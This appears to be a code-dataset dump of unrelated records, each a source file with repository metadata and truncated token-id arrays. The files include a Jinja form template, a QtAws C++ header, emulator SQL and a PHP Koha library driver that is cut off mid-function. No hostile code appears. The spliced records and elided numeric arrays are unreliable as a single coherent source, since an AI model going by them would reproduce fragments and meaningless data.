参考链接 [http://stackoverflow.com/questions/25639270/xcode-6-beta-7a-signed-resource-has-been-added-modified-or-deleted](http://stackoverflow.com/questions/25639270/xcode-6-beta-7a-signed-resource-has-been-added-modified-or-deleted) | 27629678/word_press_mark_down_files | Objective-C tips/iOS 8真机无法调整的问题.md | Markdown | apache-2.0 | 701 | [
30522,
1001,
1001,
16380,
1022,
1921,
100,
100,
1901,
100,
100,
1916,
100,
100,
1001,
1001,
1001,
1015,
1012,
10439,
8272,
3478,
16380,
1022,
100,
100,
1740,
100,
100,
1774,
100,
100,
100,
999,
1031,
10439,
8272,
3478,
1033,
1006,
1012,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#if !BIT_IDENTICAL_FLOATING_POINT
#include "ieee754names.h"
#include "../../third-party/fdlibm/s_ldexp.c"
#endif
| OpenSmalltalk/vm | platforms/Cross/plugins/FloatMathPlugin/ldexp.c | C | mit | 115 | [
30522,
1001,
2065,
999,
2978,
1035,
7235,
1035,
8274,
1035,
2391,
1001,
2421,
1000,
15368,
23352,
2549,
18442,
2015,
1012,
1044,
1000,
1001,
2421,
1000,
1012,
1012,
1013,
1012,
1012,
1013,
2353,
1011,
2283,
1013,
1042,
19422,
12322,
2213,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
{% extends "base.html" %}
{% block content %}
<div class="container">
<form action="" method="POST" enctype="multipart/form-data">
{{ form.hidden_tag() }}
<p>
Descriptive Name:
{{ form.descriptive_name(size = 50) }}
{% for error in form.descriptive_name.errors %}
<span style="color: red;">[{{error}}]</span>
{% endfor %}
</p>
<p>
Table Name:
{{ form.table_name(size = 30) }}
{% for error in form.table_name.errors %}
<span style="color: red;">[{{error}}]</span>
{% endfor %}
</p>
<p>
<input type="submit" value="Create Table"> | <input type="reset" value="Clear"> | <a href="{{ url_for('admin') }}">
<input type="button" value="Cancel" /></a>
</p>
</form>
</div>
{% endblock %}
| okyere/excel-data-collection | app/templates/add_tableinfo.html | HTML | mit | 820 | [
30522,
1063,
1003,
8908,
1000,
2918,
1012,
16129,
1000,
1003,
1065,
1063,
1003,
3796,
4180,
1003,
1065,
1026,
4487,
2615,
2465,
1027,
1000,
30524,
1065,
1026,
1052,
1028,
22726,
2171,
1024,
1063,
1063,
2433,
1012,
22726,
1035,
2171,
1006,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
Copyright 2013-2021 Paul Colby
This file is part of QtAws.
QtAws is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
QtAws is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with the QtAws. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef QTAWS_GETCONNECTIONREQUEST_H
#define QTAWS_GETCONNECTIONREQUEST_H
#include "gluerequest.h"
namespace QtAws {
namespace Glue {
class GetConnectionRequestPrivate;
class QTAWSGLUE_EXPORT GetConnectionRequest : public GlueRequest {
public:
GetConnectionRequest(const GetConnectionRequest &other);
GetConnectionRequest();
virtual bool isValid() const Q_DECL_OVERRIDE;
protected:
virtual QtAws::Core::AwsAbstractResponse * response(QNetworkReply * const reply) const Q_DECL_OVERRIDE;
private:
Q_DECLARE_PRIVATE(GetConnectionRequest)
};
} // namespace Glue
} // namespace QtAws
#endif
| pcolby/libqtaws | src/glue/getconnectionrequest.h | C | lgpl-3.0 | 1,350 | [
30522,
1013,
1008,
9385,
2286,
1011,
25682,
2703,
18650,
2023,
5371,
2003,
2112,
1997,
1053,
2696,
9333,
1012,
1053,
2696,
9333,
2003,
2489,
4007,
1024,
2017,
2064,
2417,
2923,
3089,
8569,
2618,
2009,
1998,
1013,
2030,
19933,
2009,
2104,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
DELETE FROM `weenie` WHERE `class_Id` = 3606;
INSERT INTO `weenie` (`class_Id`, `class_Name`, `type`, `last_Modified`)
VALUES (3606, 'lostlighthinth', 8, '2019-02-10 00:00:00') /* Book */;
INSERT INTO `weenie_properties_int` (`object_Id`, `type`, `value`)
VALUES (3606, 1, 8192) /* ItemType - Writable */
, (3606, 5, 25) /* EncumbranceVal */
, (3606, 16, 8) /* ItemUseable - Contained */
, (3606, 19, 5) /* Value */
, (3606, 93, 1044) /* PhysicsState - Ethereal, IgnoreCollisions, Gravity */
, (3606, 8041, 101) /* PCAPRecordedPlacement - Resting */
, (3606, 8042, 1) /* PCAPRecordedAppraisalPages */
, (3606, 8043, 1) /* PCAPRecordedAppraisalMaxPages */;
INSERT INTO `weenie_properties_float` (`object_Id`, `type`, `value`)
VALUES (3606, 54, 1) /* UseRadius */;
INSERT INTO `weenie_properties_string` (`object_Id`, `type`, `value`)
VALUES (3606, 1, 'Crumpled Note') /* Name */;
INSERT INTO `weenie_properties_d_i_d` (`object_Id`, `type`, `value`)
VALUES (3606, 1, 0x02000155) /* Setup */
, (3606, 3, 0x20000014) /* SoundTable */
, (3606, 8, 0x06001310) /* Icon */
, (3606, 22, 0x3400002B) /* PhysicsEffectTable */
, (3606, 8001, 2097208) /* PCAPRecordedWeenieHeader - Value, Usable, UseRadius, Burden */
, (3606, 8003, 272) /* PCAPRecordedObjectDesc - Attackable, Book */
, (3606, 8005, 169985) /* PCAPRecordedPhysicsDesc - CSetup, STable, PeTable, Position, AnimationFrame */;
INSERT INTO `weenie_properties_position` (`object_Id`, `position_Type`, `obj_Cell_Id`, `origin_X`, `origin_Y`, `origin_Z`, `angles_W`, `angles_X`, `angles_Y`, `angles_Z`)
VALUES (3606, 8040, 0xBA700105, 163.9272, 130.6355, 14.084, -0.03517, 0, 0, 0.999381) /* PCAPRecordedLocation */
/* @teleloc 0xBA700105 [163.927200 130.635500 14.084000] -0.035170 0.000000 0.000000 0.999381 */;
INSERT INTO `weenie_properties_i_i_d` (`object_Id`, `type`, `value`)
VALUES (3606, 8000, 0xDBA50478) /* PCAPRecordedObjectIID */;
| ACEmulator/ACE-World | Database/3-Core/9 WeenieDefaults/SQL/Book/Writable/03606 Crumpled Note.sql | SQL | agpl-3.0 | 2,063 | [
30522,
3972,
12870,
2013,
1036,
16776,
8034,
1036,
2073,
1036,
2465,
1035,
8909,
1036,
1027,
9475,
2575,
1025,
19274,
2046,
1036,
16776,
8034,
1036,
1006,
1036,
2465,
1035,
8909,
1036,
1010,
1036,
2465,
1035,
2171,
1036,
1010,
1036,
2828,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* KohaRest ILS Driver
*
* PHP version 7
*
* Copyright (C) The National Library of Finland 2017-2019.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category VuFind
* @package ILS_Drivers
* @author Ere Maijala <ere.maijala@helsinki.fi>
* @author Juha Luoma <juha.luoma@helsinki.fi>
* @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License
* @link https://vufind.org/wiki/development:plugins:ils_drivers Wiki
*/
namespace Finna\ILS\Driver;
use VuFind\Exception\ILS as ILSException;
/**
* VuFind Driver for Koha, using REST API
*
* Minimum Koha Version: work in progress as of 23 Jan 2017
*
* @category VuFind
* @package ILS_Drivers
* @author Ere Maijala <ere.maijala@helsinki.fi>
* @author Juha Luoma <juha.luoma@helsinki.fi>
* @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License
* @link https://vufind.org/wiki/development:plugins:ils_drivers Wiki
*/
class KohaRest extends \VuFind\ILS\Driver\KohaRest
{
/**
* Mappings from Koha messaging preferences
*
* @var array
*/
protected $messagingPrefTypeMap = [
'Advance_Notice' => 'dueDateAlert',
'Hold_Filled' => 'pickUpNotice',
'Item_Check_in' => 'checkinNotice',
'Item_Checkout' => 'checkoutNotice',
'Item_Due' => 'dueDateNotice'
];
/**
* Whether to use location in addition to branch when grouping holdings
*
* @param bool
*/
protected $groupHoldingsByLocation;
/**
* Priority settings for the order of branches or branch/location combinations
*
* @var array
*/
protected $holdingsBranchOrder;
/**
* Priority settings for the order of locations (in branches)
*
* @var array
*/
protected $holdingsLocationOrder;
/**
* Initialize the driver.
*
* Validate configuration and perform all resource-intensive tasks needed to
* make the driver active.
*
* @throws ILSException
* @return void
*/
public function init()
{
parent::init();
$this->groupHoldingsByLocation
= isset($this->config['Holdings']['group_by_location'])
? $this->config['Holdings']['group_by_location']
: '';
if (isset($this->config['Holdings']['holdings_branch_order'])) {
$values = explode(
':', $this->config['Holdings']['holdings_branch_order']
);
foreach ($values as $i => $value) {
$parts = explode('=', $value, 2);
$idx = $parts[1] ?? $i;
$this->holdingsBranchOrder[$parts[0]] = $idx;
}
}
$this->holdingsLocationOrder
= isset($this->config['Holdings']['holdings_location_order'])
? explode(':', $this->config['Holdings']['holdings_location_order'])
: [];
$this->holdingsLocationOrder = array_flip($this->holdingsLocationOrder);
}
/**
* Get Holding
*
* This is responsible for retrieving the holding information of a certain
* record.
*
* @param string $id The record id to retrieve the holdings for
* @param array $patron Patron data
* @param array $options Extra options
*
* @throws \VuFind\Exception\ILS
* @return array On success, an associative array with the following
* keys: id, availability (boolean), status, location, reserve, callnumber,
* duedate, number, barcode.
*
* @SuppressWarnings(PHPMD.UnusedFormalParameter)
*/
public function getHolding($id, array $patron = null, array $options = [])
{
$data = parent::getHolding($id, $patron);
if (!empty($data['holdings'])) {
$summary = $this->getHoldingsSummary($data['holdings']);
// Remove request counts before adding the summary if necessary
if (isset($this->config['Holdings']['display_item_hold_counts'])
&& !$this->config['Holdings']['display_item_hold_counts']
) {
foreach ($data['holdings'] as &$item) {
unset($item['requests_placed']);
}
}
$data['holdings'][] = $summary;
}
return $data;
}
/**
* Get Status
*
* This is responsible for retrieving the status information of a certain
* record.
*
* @param string $id The record id to retrieve the holdings for
*
* @return array An associative array with the following keys:
* id, availability (boolean), status, location, reserve, callnumber.
*/
public function getStatus($id)
{
$data = parent::getStatus($id);
if (!empty($data)) {
$summary = $this->getHoldingsSummary($data);
$data[] = $summary;
}
return $data;
}
/**
* Get Statuses
*
* This is responsible for retrieving the status information for a
* collection of records.
*
* @param array $ids The array of record ids to retrieve the status for
*
* @return mixed An array of getStatus() return values on success.
*/
public function getStatuses($ids)
{
$items = [];
foreach ($ids as $id) {
$statuses = $this->getItemStatusesForBiblio($id);
if (isset($statuses['holdings'])) {
$items[] = array_merge(
$statuses['holdings'],
$statuses['electronic_holdings']
);
} else {
$items[] = $statuses;
}
}
return $items;
}
/**
* Get Patron Fines
*
* This is responsible for retrieving all fines by a specific patron.
*
* @param array $patron The patron array from patronLogin
*
* @throws DateException
* @throws ILSException
* @return array Array of the patron's fines on success.
*/
public function getMyFines($patron)
{
$fines = parent::getMyFines($patron);
foreach ($fines as &$fine) {
$fine['payableOnline'] = true;
}
return $fines;
}
/**
* Get Patron Profile
*
* This is responsible for retrieving the profile for a specific patron.
*
* @param array $patron The patron array
*
* @throws ILSException
* @return array Array of the patron's profile data on success.
*/
public function getMyProfile($patron)
{
$result = $this->makeRequest(
['v1', 'patrons', $patron['id']], false, 'GET', $patron
);
$expirationDate = !empty($result['dateexpiry'])
? $this->dateConverter->convertToDisplayDate(
'Y-m-d', $result['dateexpiry']
) : '';
$guarantor = [];
$guarantees = [];
if (!empty($result['guarantorid'])) {
$guarantorRecord = $this->makeRequest(
['v1', 'patrons', $result['guarantorid']], false, 'GET', $patron
);
if ($guarantorRecord) {
$guarantor['firstname'] = $guarantorRecord['firstname'];
$guarantor['lastname'] = $guarantorRecord['surname'];
}
} else {
// Assume patron can have guarantees only if there is no guarantor
$guaranteeRecords = $this->makeRequest(
['v1', 'patrons'], ['guarantorid' => $patron['id']], 'GET',
$patron
);
foreach ($guaranteeRecords as $guarantee) {
$guarantees[] = [
'firstname' => $guarantee['firstname'],
'lastname' => $guarantee['surname']
];
}
}
list($resultCode, $messagingPrefs) = $this->makeRequest(
['v1', 'messaging_preferences'],
['borrowernumber' => $patron['id']],
'GET',
$patron,
true
);
$messagingSettings = [];
if (200 === $resultCode) {
foreach ($messagingPrefs as $type => $prefs) {
$typeName = isset($this->messagingPrefTypeMap[$type])
? $this->messagingPrefTypeMap[$type] : $type;
$settings = [
'type' => $typeName
];
if (isset($prefs['transport_types'])) {
$settings['settings']['transport_types'] = [
'type' => 'multiselect'
];
foreach ($prefs['transport_types'] as $key => $active) {
$settings['settings']['transport_types']['options'][$key] = [
'active' => $active
];
}
}
if (isset($prefs['digest'])) {
$settings['settings']['digest'] = [
'type' => 'boolean',
'name' => '',
'active' => $prefs['digest']['value'],
'readonly' => !$prefs['digest']['configurable']
];
}
if (isset($prefs['days_in_advance'])
&& ($prefs['days_in_advance']['configurable']
|| null !== $prefs['days_in_advance']['value'])
) {
$options = [];
for ($i = 0; $i <= 30; $i++) {
$options[$i] = [
'name' => $this->translate(
1 === $i ? 'messaging_settings_num_of_days'
: 'messaging_settings_num_of_days_plural',
['%%days%%' => $i]
),
'active' => $i == $prefs['days_in_advance']['value']
];
}
$settings['settings']['days_in_advance'] = [
'type' => 'select',
'value' => $prefs['days_in_advance']['value'],
'options' => $options,
'readonly' => !$prefs['days_in_advance']['configurable']
];
}
$messagingSettings[$type] = $settings;
}
}
$phoneField = isset($this->config['Profile']['phoneNumberField'])
? $this->config['Profile']['phoneNumberField']
: 'mobile';
return [
'firstname' => $result['firstname'],
'lastname' => $result['surname'],
'phone' => $phoneField && !empty($result[$phoneField])
? $result[$phoneField] : '',
'smsnumber' => $result['smsalertnumber'],
'email' => $result['email'],
'address1' => $result['address'],
'address2' => $result['address2'],
'zip' => $result['zipcode'],
'city' => $result['city'],
'country' => $result['country'],
'category' => $result['categorycode'] ?? '',
'expiration_date' => $expirationDate,
'hold_identifier' => $result['othernames'],
'guarantor' => $guarantor,
'guarantees' => $guarantees,
'loan_history' => $result['privacy'],
'messagingServices' => $messagingSettings,
'notes' => $result['opacnote'],
'full_data' => $result
];
}
/**
* Purge Patron Transaction History
*
* @param array $patron The patron array from patronLogin
*
* @throws ILSException
* @return array Associative array of the results
*/
public function purgeTransactionHistory($patron)
{
list($code, $result) = $this->makeRequest(
['v1', 'checkouts', 'history'],
['borrowernumber' => $patron['id']],
'DELETE',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
return [
'success' => false,
'status' => 'Purging the loan history failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => 'loan_history_purged',
'sys_message' => ''
];
}
/**
* Update Patron Transaction History State
*
* Enable or disable patron's transaction history
*
* @param array $patron The patron array from patronLogin
* @param mixed $state Any of the configured values
*
* @return array Associative array of the results
*/
public function updateTransactionHistoryState($patron, $state)
{
$request = [
'privacy' => (int)$state
];
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id']],
json_encode($request),
'PATCH',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
return [
'success' => false,
'status' => 'Changing the checkout history state failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Update patron's phone number
*
* @param array $patron Patron array
* @param string $phone Phone number
*
* @throws ILSException
*
* @return array Associative array of the results
*/
public function updatePhone($patron, $phone)
{
$request = [
'mobile' => $phone
];
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id']],
json_encode($request),
'PATCH',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
return [
'success' => false,
'status' => 'Changing the phone number failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Update patron's SMS alert number
*
* @param array $patron Patron array
* @param string $number SMS alert number
*
* @throws ILSException
*
* @return array Associative array of the results
*/
public function updateSmsNumber($patron, $number)
{
$fields = !empty($this->config['updateSmsNumber']['fields'])
? explode(',', $this->config['updateSmsNumber']['fields'])
: ['smsalertnumber'];
$request = [];
foreach ($fields as $field) {
$request[$field] = $number;
}
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id']],
json_encode($request),
'PATCH',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
return [
'success' => false,
'status' => 'Changing the phone number failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Update patron's email address
*
* @param array $patron Patron array
* @param String $email Email address
*
* @throws ILSException
*
* @return array Associative array of the results
*/
public function updateEmail($patron, $email)
{
$request = [
'email' => $email
];
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id']],
json_encode($request),
'PATCH',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
return [
'success' => false,
'status' => 'Changing the email address failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Update patron contact information
*
* @param array $patron Patron array
* @param array $details Associative array of patron contact information
*
* @throws ILSException
*
* @return array Associative array of the results
*/
public function updateAddress($patron, $details)
{
$addressFields = [];
$fieldConfig = isset($this->config['updateAddress']['fields'])
? $this->config['updateAddress']['fields'] : [];
foreach ($fieldConfig as $field) {
$parts = explode(':', $field, 2);
if (isset($parts[1])) {
$addressFields[$parts[1]] = $parts[0];
}
}
// Pick the configured fields from the request
$request = [];
foreach ($details as $key => $value) {
if (isset($addressFields[$key])) {
$request[$key] = $value;
}
}
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id']],
json_encode($request),
'PATCH',
$patron,
true
);
if (!in_array($code, [200, 202, 204])) {
if (409 === $code && !empty($result['conflict'])) {
$keys = array_keys($result['conflict']);
$key = reset($keys);
$fieldName = isset($addressFields[$key])
? $this->translate($addressFields[$key])
: '???';
$status = $this->translate(
'request_change_value_already_in_use',
['%%field%%' => $fieldName]
);
} else {
$status = 'Changing the contact information failed';
}
return [
'success' => false,
'status' => $status,
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Update patron messaging settings
*
* @param array $patron Patron array
* @param array $details Associative array of messaging settings
*
* @throws ILSException
*
* @return array Associative array of the results
*/
public function updateMessagingSettings($patron, $details)
{
$messagingPrefs = $this->makeRequest(
['v1', 'messaging_preferences'],
['borrowernumber' => $patron['id']],
'GET',
$patron
);
$messagingSettings = [];
foreach ($details as $prefId => $pref) {
$result = [];
foreach ($pref['settings'] as $settingId => $setting) {
if (!empty($setting['readonly'])) {
continue;
}
if ('boolean' === $setting['type']) {
$result[$settingId] = [
'value' => $setting['active']
];
} elseif ('select' === $setting['type']) {
$result[$settingId] = [
'value' => ctype_digit($setting['value'])
? (int)$setting['value'] : $setting['value']
];
} else {
foreach ($setting['options'] as $optionId => $option) {
$result[$settingId][$optionId] = $option['active'];
}
}
}
$messagingSettings[$prefId] = $result;
}
list($code, $result) = $this->makeRequest(
['v1', 'messaging_preferences'],
[
'borrowernumber' => $patron['id'],
'##body##' => json_encode($messagingSettings)
],
'PUT',
$patron,
true
);
if ($code >= 300) {
return [
'success' => false,
'status' => 'Changing the preferences failed',
'sys_message' => $result['error'] ?? $code
];
}
return [
'success' => true,
'status' => $code == 202
? 'request_change_done' : 'request_change_accepted',
'sys_message' => ''
];
}
/**
* Change pickup location
*
* This is responsible for changing the pickup location of a hold
*
* @param string $patron Patron array
* @param string $holdDetails The request details
*
* @return array Associative array of the results
*/
public function changePickupLocation($patron, $holdDetails)
{
$requestId = $holdDetails['requestId'];
$pickUpLocation = $holdDetails['pickupLocationId'];
if (!$this->pickUpLocationIsValid($pickUpLocation, $patron, $holdDetails)) {
return $this->holdError('hold_invalid_pickup');
}
$request = [
'branchcode' => $pickUpLocation
];
list($code, $result) = $this->makeRequest(
['v1', 'holds', $requestId],
json_encode($request),
'PUT',
$patron,
true
);
if ($code >= 300) {
return $this->holdError($code, $result);
}
return ['success' => true];
}
/**
* Change request status
*
* This is responsible for changing the status of a hold request
*
* @param string $patron Patron array
* @param string $holdDetails The request details (at the moment only 'frozen'
* is supported)
*
* @return array Associative array of the results
*/
public function changeRequestStatus($patron, $holdDetails)
{
$requestId = $holdDetails['requestId'];
$frozen = !empty($holdDetails['frozen']);
$request = [
'suspend' => $frozen
];
list($code, $result) = $this->makeRequest(
['v1', 'holds', $requestId],
json_encode($request),
'PUT',
$patron,
true
);
if ($code >= 300) {
return $this->holdError($code, $result);
}
return ['success' => true];
}
/**
* Return total amount of fees that may be paid online.
*
* @param array $patron Patron
* @param array $fines Patron's fines
*
* @throws ILSException
* @return array Associative array of payment info,
* false if an ILSException occurred.
*/
public function getOnlinePayableAmount($patron, $fines)
{
if (!empty($fines)) {
$amount = 0;
foreach ($fines as $fine) {
$amount += $fine['balance'];
}
$config = $this->getConfig('onlinePayment');
$nonPayableReason = false;
if (isset($config['minimumFee']) && $amount < $config['minimumFee']) {
$nonPayableReason = 'online_payment_minimum_fee';
}
$res = ['payable' => empty($nonPayableReason), 'amount' => $amount];
if ($nonPayableReason) {
$res['reason'] = $nonPayableReason;
}
return $res;
}
return [
'payable' => false,
'amount' => 0,
'reason' => 'online_payment_minimum_fee'
];
}
/**
* Mark fees as paid.
*
* This is called after a successful online payment.
*
* @param array $patron Patron
* @param int $amount Amount to be registered as paid
* @param string $transactionId Transaction ID
* @param int $transactionNumber Internal transaction number
*
* @throws ILSException
* @return boolean success
*/
public function markFeesAsPaid($patron, $amount, $transactionId,
$transactionNumber
) {
$request = [
'amount' => $amount / 100,
'note' => "Online transaction $transactionId"
];
$operator = $patron;
if (!empty($this->config['onlinePayment']['userId'])
&& !empty($this->config['onlinePayment']['userPassword'])
) {
$operator = [
'cat_username' => $this->config['onlinePayment']['userId'],
'cat_password' => $this->config['onlinePayment']['userPassword']
];
}
list($code, $result) = $this->makeRequest(
['v1', 'patrons', $patron['id'], 'payment'],
json_encode($request),
'POST',
$operator,
true
);
if ($code != 204) {
$error = "Failed to mark payment of $amount paid for patron"
. " {$patron['id']}: $code: " . print_r($result, true);
$this->error($error);
throw new ILSException($error);
}
// Clear patron's block cache
$cacheId = 'blocks|' . $patron['id'];
$this->removeCachedData($cacheId);
return true;
}
/**
* Get a password recovery token for a user
*
* @param array $params Required params such as cat_username and email
*
* @return array Associative array of the results
*/
public function getPasswordRecoveryToken($params)
{
$request = [
'cardnumber' => $params['cat_username'],
'email' => $params['email'],
'skip_email' => true
];
$operator = [];
if (!empty($this->config['PasswordRecovery']['userId'])
&& !empty($this->config['PasswordRecovery']['userPassword'])
) {
$operator = [
'cat_username' => $this->config['PasswordRecovery']['userId'],
'cat_password' => $this->config['PasswordRecovery']['userPassword']
];
}
list($code, $result) = $this->makeRequest(
['v1', 'patrons', 'password', 'recovery'],
json_encode($request),
'POST',
$operator,
true
);
if (201 != $code) {
if (404 != $code) {
throw new ILSException("Failed to get a recovery token: $code");
}
return [
'success' => false,
'error' => $result['error']
];
}
return [
'success' => true,
'token' => $result['uuid']
];
}
/**
* Recover user's password with a token from getPasswordRecoveryToken
*
* @param array $params Required params such as cat_username, token and new
* password
*
* @return array Associative array of the results
*/
public function recoverPassword($params)
{
$request = [
'uuid' => $params['token'],
'new_password' => $params['password'],
'confirm_new_password' => $params['password']
];
$operator = [];
if (!empty($this->config['passwordRecovery']['userId'])
&& !empty($this->config['passwordRecovery']['userPassword'])
) {
$operator = [
'cat_username' => $this->config['passwordRecovery']['userId'],
'cat_password' => $this->config['passwordRecovery']['userPassword']
];
}
list($code, $result) = $this->makeRequest(
['v1', 'patrons', 'password', 'recovery', 'complete'],
json_encode($request),
'POST',
$operator,
true
);
if (200 != $code) {
return [
'success' => false,
'error' => $result['error']
];
}
return [
'success' => true
];
}
/**
* Get Patron Holds
*
* This is responsible for retrieving all holds by a specific patron.
*
* @param array $patron The patron array from patronLogin
*
* @throws DateException
* @throws ILSException
* @return array Array of the patron's holds on success.
*/
public function getMyHolds($patron)
{
$result = $this->makeRequest(
